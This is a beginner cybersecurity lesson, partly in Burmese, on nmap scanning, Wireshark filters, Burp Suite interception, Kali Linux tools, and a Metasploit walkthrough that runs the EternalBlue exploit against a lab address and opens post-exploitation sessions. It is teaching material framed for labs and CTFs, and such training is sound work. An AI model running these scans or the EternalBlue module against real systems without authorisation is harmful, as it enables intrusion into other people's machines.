🔐 Cyber Security Lesson 06 — Security Tools

1. Nmap — Network Scanner

Nmap = Network mapper — ports, services, OS detect

# Basic port scan
nmap 192.168.1.1

# Scan all 65535 ports
nmap -p- 192.168.1.1

# Service version detect
nmap -sV 192.168.1.1

# OS detection
nmap -O 192.168.1.1

# Aggressive scan (OS + version + scripts + traceroute)
nmap -A 192.168.1.1

# Scan full network range
nmap 192.168.1.0/24

# Stealth scan (SYN scan — slower, less noisy)
nmap -sS 192.168.1.1

# Save output
nmap -oN scan_results.txt 192.168.1.1

2. Wireshark — Packet Capture

Wireshark = Live network traffic inspect

Setup:
1. wireshark.org ကနေ install
2. Network interface select (Wi-Fi or Ethernet)
3. ▶ Start capture

Key filters:
http                            # HTTP only
http.request                    # HTTP requests
http.response.code == 200       # 200 OK responses
tcp.port == 80 or tcp.port == 443
ip.src == 192.168.1.5           # From specific IP
ip.dst == 8.8.8.8               # To Google DNS
dns.qry.name contains "google"  # DNS query
!(arp or icmp)                  # Exclude noise

Export data:
File → Export Objects → HTTP → Save files

3. Burp Suite — Web App Testing

Burp Suite = Web app security testing tool
Community Edition = Free | Professional = Paid

Setup:
1. portswigger.net ကနေ download
2. Browser proxy: 127.0.0.1:8080 set
3. Burp CA certificate browser ထဲ install (HTTPS intercept ဖို့)

Key features:
🔍 Proxy      — HTTP/HTTPS requests intercept & modify
🔁 Repeater   — Request ကို modify ပြီး resend
🕷️ Spider     — Website crawl (endpoints ရှာ)
🎯 Intruder   — Automated attack (brute force, fuzzing)
🔬 Scanner    — Auto vulnerability detect (Pro only)
🔓 Decoder    — Base64, URL, HTML decode/encode

Example — Login parameter tamper:
1. Login page မှာ Intercept ON
2. username=admin&password=wrong ကို catch
3. Repeater ကို send → modify → resend
4. Response ကြည့် → SQL error ထွက်ရင် SQLi possible!

4. Kali Linux

Kali Linux = Penetration testing OS (Debian-based)
Developer: Offensive Security
Download: kali.org

Pre-installed tools: 600+
- Nmap, Wireshark, Burp Suite
- Metasploit Framework
- John the Ripper (password cracker)
- Aircrack-ng (WiFi testing)
- SQLmap (SQL injection auto)
- Hydra (brute force)

Install options:
1. Dual boot with Windows
2. VMware / VirtualBox VM (recommended for beginners)
3. WSL2 (Windows Subsystem for Linux)
4. Kali NetHunter (Android)

# Update Kali
sudo apt update && sudo apt upgrade -y

# Install extra tools
sudo apt install metasploit-framework -y

5. Metasploit Basics (Learning Only)

Metasploit = Exploit framework (pentest industry standard)
# Lab environment / CTF မှာပဲ သုံးပါ!

msfconsole              # Start Metasploit

# Search exploits
search type:exploit name:eternalblue

# Use a module
use exploit/windows/smb/ms17_010_eternalblue
show options            # Required fields ကြည့်
set RHOSTS 10.10.10.40  # Target IP
set LHOST 10.10.14.2    # Your IP (attacker)
run                     # Execute

# Post-exploitation
sessions -l             # List sessions
sessions -i 1           # Interact
sysinfo                 # Target system info

6. CTF Platforms — Practice Legally

7. Essential Security Tools Summary